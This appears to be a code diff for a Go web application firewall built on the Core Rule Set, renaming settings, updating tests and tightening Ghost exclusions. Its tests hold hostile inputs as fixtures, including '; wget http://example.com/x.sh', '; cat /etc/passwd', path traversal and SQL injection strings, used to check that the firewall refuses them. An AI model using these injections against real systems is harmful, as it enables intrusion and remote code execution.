// hostname in lowercase (SWW_APPS), nil while SWW_APPS is unset.
|
||||
appsByHostname map[string][]string
|
||||
}
|
||||
|
||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||
// at params' paranoia level, without the rules it switches off, reading
|
||||
// request bodies up to params' body inspection size, and with params'
|
||||
// exclusions file loaded before the Core Rule Set's rules. An exclusions
|
||||
// file is an error if it cannot be read or does not parse, or if
|
||||
// checkExclusions refuses it.
|
||||
// request bodies up to params' limit, and with params' exclusions file
|
||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||
// it.
|
||||
func New(params Params) (*CoreRuleSet, error) {
|
||||
body := ""
|
||||
if params.BodyInspectionSize > 0 {
|
||||
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize)
|
||||
if params.BodyLimit > 0 {
|
||||
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
|
||||
}
|
||||
|
||||
exclusions := ""
|
||||
@@ -398,7 +397,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
|
||||
return &CoreRuleSet{
|
||||
engine: engine,
|
||||
bodyInspectionSize: params.BodyInspectionSize,
|
||||
bodyLimit: params.BodyLimit,
|
||||
appsByHostname: params.Apps,
|
||||
}, nil
|
||||
}
|
||||
@@ -482,19 +481,18 @@ func (c *CoreRuleSet) Inspect(
|
||||
}
|
||||
|
||||
// readBody reads body, the body of the request in tx, which has run on
|
||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||
// set and the body is of a kind the Core Rule Set reads: form data and
|
||||
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
|
||||
// JSON and XML, which it reads only when they are no longer than that,
|
||||
// since they cannot be read in part.
|
||||
// readBody reads one byte past c.bodyInspectionSize, to tell which they
|
||||
// are, gives the Core Rule Set what it reads, and returns what it read and
|
||||
// the error that ended the reading early, if one did.
|
||||
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
|
||||
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
||||
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
||||
// when they are no longer than that, since they cannot be read in part.
|
||||
// readBody reads one byte past the limit, to tell which they are, gives
|
||||
// the Core Rule Set what it reads, and returns what it read and the error
|
||||
// that ended the reading early, if one did.
|
||||
func (c *CoreRuleSet) readBody(
|
||||
tx types.Transaction,
|
||||
body io.Reader,
|
||||
) ([]byte, error) {
|
||||
if c.bodyInspectionSize == 0 {
|
||||
if c.bodyLimit == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -511,9 +509,9 @@ func (c *CoreRuleSet) readBody(
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
||||
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
||||
// Coraza holds what it reads of the body in memory, up to the
|
||||
// limit, so this cannot fail.
|
||||
_, _, _ = tx.WriteRequestBody(read)
|
||||
@@ -540,8 +538,8 @@ func score(tx types.Transaction) int {
|
||||
}
|
||||
|
||||
// appsFor returns the names of the apps whose fixes a request for host,
|
||||
// its Host header, gets: every app while SWW_WAF_APPS is unset, and otherwise
|
||||
// those SWW_WAF_APPS lists for host's name, without the port and in
|
||||
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
|
||||
// those SWW_APPS lists for host's name, without the port and in
|
||||
// lowercase, each followed by the app it is a fork of, if any.
|
||||
func (c *CoreRuleSet) appsFor(host string) []string {
|
||||
if c.appsByHostname == nil {
|
||||
|
||||
@@ -21,7 +21,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// defaultDisabledRules are the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off
|
||||
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
|
||||
// by default.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -650,17 +650,17 @@ var giteaFixed = []struct {
|
||||
{get("/v2/owner/app/blobs/uploads/?from=python3"), matched(932260)},
|
||||
}
|
||||
|
||||
// The hostnames of the tests of SWW_WAF_APPS: the one that serves gitea, and
|
||||
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
|
||||
// one that serves another app.
|
||||
const (
|
||||
giteaHost = "git.example"
|
||||
otherHost = "blog.example"
|
||||
)
|
||||
|
||||
// gitea is gitea's name in SWW_WAF_APPS.
|
||||
// gitea is gitea's name in SWW_APPS.
|
||||
const gitea = "gitea"
|
||||
|
||||
// wordpress is WordPress's name in SWW_WAF_APPS.
|
||||
// wordpress is WordPress's name in SWW_APPS.
|
||||
const wordpress = "wordpress"
|
||||
|
||||
// withHost returns r sent to host.
|
||||
@@ -672,7 +672,7 @@ func withHost(r request, host string) request {
|
||||
}
|
||||
}
|
||||
|
||||
// servingApps returns the Core Rule Set at the defaults, with SWW_WAF_APPS
|
||||
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
|
||||
// giving apps.
|
||||
func servingApps(
|
||||
t *testing.T,
|
||||
@@ -725,7 +725,7 @@ func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
|
||||
|
||||
for _, apps := range []map[string][]string{
|
||||
{giteaHost: {gitea}},
|
||||
// SWW_WAF_APPS set empty lists no hostname.
|
||||
// SWW_APPS set empty lists no hostname.
|
||||
{},
|
||||
} {
|
||||
crs := servingApps(t, apps)
|
||||
@@ -1089,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||
const workers, perBody = 16, 10
|
||||
|
||||
crs, err := loaderFor(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1167,18 +1166,15 @@ func misfiringPasswords(t *testing.T) []string {
|
||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
misfiring := misfiringPasswords(t)
|
||||
names := []string{name}
|
||||
|
||||
body := passwordBody(t, r, names, misfiring...)
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
@@ -1201,7 +1197,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{
|
||||
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||
@@ -1221,7 +1217,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||
body := passwordBody(t, r, []string{name}, attack)
|
||||
@@ -1311,7 +1307,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
|
||||
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -1368,7 +1364,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -1404,7 +1400,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||
func TestGiteaAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
@@ -1484,7 +1480,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
|
||||
}
|
||||
|
||||
// A command after a ";" in q is still refused on each of these paths.
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
for _, target := range []string{
|
||||
"/alice?tab=repositories&q=",
|
||||
@@ -1509,12 +1505,12 @@ const (
|
||||
)
|
||||
|
||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
|
||||
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -1576,7 +1572,7 @@ func wordpressAttackTargets(attack string) []string {
|
||||
func TestWordPressAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
|
||||
@@ -2314,9 +2310,8 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||
}
|
||||
|
||||
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
||||
// tests that read bodies.
|
||||
const bodyInspectionSize = 8 << 10
|
||||
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
|
||||
const bodyLimit = 8 << 10
|
||||
|
||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||
const (
|
||||
@@ -2339,13 +2334,12 @@ const pathTraversal = "../../etc/passwd"
|
||||
const shellCommand = "; wget http://example.com/x.sh"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyInspectionSize.
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -2399,7 +2393,7 @@ func wantBody(
|
||||
}
|
||||
}
|
||||
|
||||
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
|
||||
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
off, on := atDefaults(t), readingBodies(t)
|
||||
@@ -2419,7 +2413,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
pad := strings.Repeat("a", bodyInspectionSize)
|
||||
pad := strings.Repeat("a", bodyLimit)
|
||||
|
||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||
{
|
||||
@@ -2432,20 +2426,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||
tc.attackFirst[:bodyInspectionSize+1])
|
||||
tc.attackFirst[:bodyLimit+1])
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
post(tc.header),
|
||||
tc.attackLast,
|
||||
coreruleset.Result{},
|
||||
tc.attackLast[:bodyInspectionSize+1],
|
||||
tc.attackLast[:bodyLimit+1],
|
||||
)
|
||||
}
|
||||
|
||||
// To the byte: a system file's path is found when it ends at the limit,
|
||||
// and not when its last letter is past it, which is still read.
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2455,7 +2449,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
atLimit,
|
||||
)
|
||||
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2475,10 +2469,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||
} {
|
||||
fits := padded(tc.head, tc.tail, bodyInspectionSize)
|
||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||
|
||||
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
|
||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2535,7 +2529,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
||||
|
||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||
// Content-Encoding on it is refused all the same.
|
||||
larger := strings.Repeat("a", bodyInspectionSize+1)
|
||||
larger := strings.Repeat("a", bodyLimit+1)
|
||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||
|
||||
// It is allowed on a body of any other kind, and on every body while no
|
||||
@@ -2754,7 +2748,7 @@ func giteaBranchNamesInBodies() []nameInBody {
|
||||
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -2855,7 +2849,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
// that has no colon, before the attack. They do so padded past the
|
||||
// limit too, which cuts them in the padding.
|
||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
||||
|
||||
for _, tc := range []struct{ header, head string }{
|
||||
{multipart + "; boundary=c", ""},
|
||||
@@ -2873,7 +2867,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
|
||||
body = tc.head + field("q", injection) + pad + end
|
||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1])
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2886,10 +2880,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
cut := "--b\r\nContent-Di"
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
||||
),
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
||||
)
|
||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||
|
||||
@@ -2899,7 +2890,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
post(multipart),
|
||||
body,
|
||||
matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1],
|
||||
body[:bodyLimit+1],
|
||||
)
|
||||
}
|
||||
|
||||
@@ -2918,15 +2909,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-cut,
|
||||
),
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
||||
)
|
||||
body := first + field("q", "1") + end
|
||||
|
||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1])
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2941,8 +2929,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
// The test loads its own Core Rule Set, since loading is part of what
|
||||
// it checks.
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
@@ -2954,11 +2941,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
||||
}
|
||||
|
||||
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
|
||||
func TestBodyLimitOf1GLoads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := coreruleset.New(
|
||||
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
|
||||
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
|
||||
)
|
||||
if err != nil {
|
||||
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
||||
|
||||
@@ -4,10 +4,10 @@
|
||||
# request, before the rules it switches off, so this file is loaded before the
|
||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||
# exclusion on a field of a body applies only when the query has no parameter
|
||||
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||
# set. The exclusions above the comment "The fields below are in bodies" also
|
||||
# cover a body field of the same name whatever the query holds, and only those
|
||||
# below it need a query without that name.
|
||||
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The
|
||||
# exclusions above the comment "The fields below are in bodies" also cover a
|
||||
# body field of the same name whatever the query holds, and only those below it
|
||||
# need a query without that name.
|
||||
#
|
||||
# Each path may start with a language prefix, such as /fr in
|
||||
# /fr/admin/content. The prefix is two or three letters, then optionally a
|
||||
@@ -26,7 +26,7 @@
|
||||
# 932235: python3
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_drupal. It sets it
|
||||
# while SWW_WAF_APPS is unset, or lists drupal for the request's hostname.
|
||||
# while SWW_APPS is unset, or lists drupal for the request's hostname.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_drupal itself.
|
||||
SecRule &TX:app_drupal "@eq 0" \
|
||||
|
||||
@@ -9,7 +9,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const drupalThreshold = 5
|
||||
|
||||
// drupalAddArticle is Drupal's form for a new article.
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
# rules. Each comment names a request the rule refused.
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_forgejo. It sets it
|
||||
# while SWW_WAF_APPS is unset, or lists forgejo for the request's hostname.
|
||||
# while SWW_APPS is unset, or lists forgejo for the request's hostname.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_forgejo itself.
|
||||
SecRule &TX:app_forgejo "@eq 0" \
|
||||
@@ -132,8 +132,8 @@ SecRule REQUEST_FILENAME "@streq /admin/repos" \
|
||||
# They skip these rules:
|
||||
# 932120: fix-powershell-module
|
||||
# 932260: feat/docker-support
|
||||
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
|
||||
# nothing when the query has a parameter of the same name.
|
||||
# They are read only while SWW_WAF_BODY_LIMIT is set, and skip nothing when the
|
||||
# query has a parameter of the same name.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
||||
"id:900666,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
||||
|
||||
@@ -8,10 +8,10 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// forgejo is Forgejo's name in SWW_WAF_APPS.
|
||||
// forgejo is Forgejo's name in SWW_APPS.
|
||||
const forgejo = "forgejo"
|
||||
|
||||
// forgejoHost is the hostname of the tests of SWW_WAF_APPS that serves Forgejo.
|
||||
// forgejoHost is the hostname of the tests of SWW_APPS that serves Forgejo.
|
||||
const forgejoHost = "code.example"
|
||||
|
||||
func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
|
||||
@@ -91,7 +91,7 @@ var forgejoAttacks = []string{
|
||||
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
@@ -113,7 +113,7 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
# rules it switches off, so this file is loaded before the Core Rule Set's
|
||||
# rules. Each comment names a request a rule refused. An exclusion on a field of
|
||||
# a body applies only when the query has no parameter of that name, so it
|
||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||
#
|
||||
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
||||
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
||||
@@ -11,7 +11,7 @@
|
||||
# path, so the title of the first post saved is json.posts.0.title.
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
||||
# while SWW_WAF_APPS is unset, or lists ghost for the request's hostname.
|
||||
# while SWW_APPS is unset, or lists ghost for the request's hostname.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_ghost itself.
|
||||
SecRule &TX:app_ghost "@eq 0" \
|
||||
@@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
|
||||
# reuse
|
||||
# newsletters.<n>.footer_content, the footer of a newsletter
|
||||
# A javascript: link (941170, 941210) is still refused in them. A <script>
|
||||
# element (941110) passes only in posts and pages, by 900366.
|
||||
# A <script> element (941110) and a javascript: link (941170, 941210) are still
|
||||
# refused in them.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
"id:900355,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
|
||||
@@ -184,8 +184,7 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
# These fields hold it, and skip the rules anywhere on the Admin API:
|
||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
||||
# settings.<n>.value, the value of a setting
|
||||
# A javascript: link is still refused in them, and a <script> element passes
|
||||
# by 900366.
|
||||
# A <script> element and a javascript: link are still refused in them.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
"id:900356,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
|
||||
@@ -201,38 +200,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
|
||||
|
||||
# A <script> element skips 941110 in posts, pages and code injection, on the
|
||||
# Admin API, which refused:
|
||||
# an HTML card that embeds a widget with its script
|
||||
# code injection that loads analytics,
|
||||
# <script defer src="https://analytics.example.com/script.js"></script>
|
||||
# These fields take a <script> element on purpose:
|
||||
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
|
||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
||||
# settings.<n>.value, the value of a setting
|
||||
# Snippets and a newsletter's footer still refuse it.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
"id:900366,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
||||
|
||||
# The canonical URL of a post or a page skips the two rules that url skips:
|
||||
# 930120: https://example.com/blog/.htaccess/
|
||||
# 932120: https://example.com/blog/powershell/
|
||||
# Each of these fields skips them only on its own path:
|
||||
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
|
||||
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||
"id:900383,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
|
||||
"id:900384,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
|
||||
|
||||
# Saving a staff user's profile sends the field profile_image, whose name holds
|
||||
# .profile, a file the list of system files names (930120).
|
||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
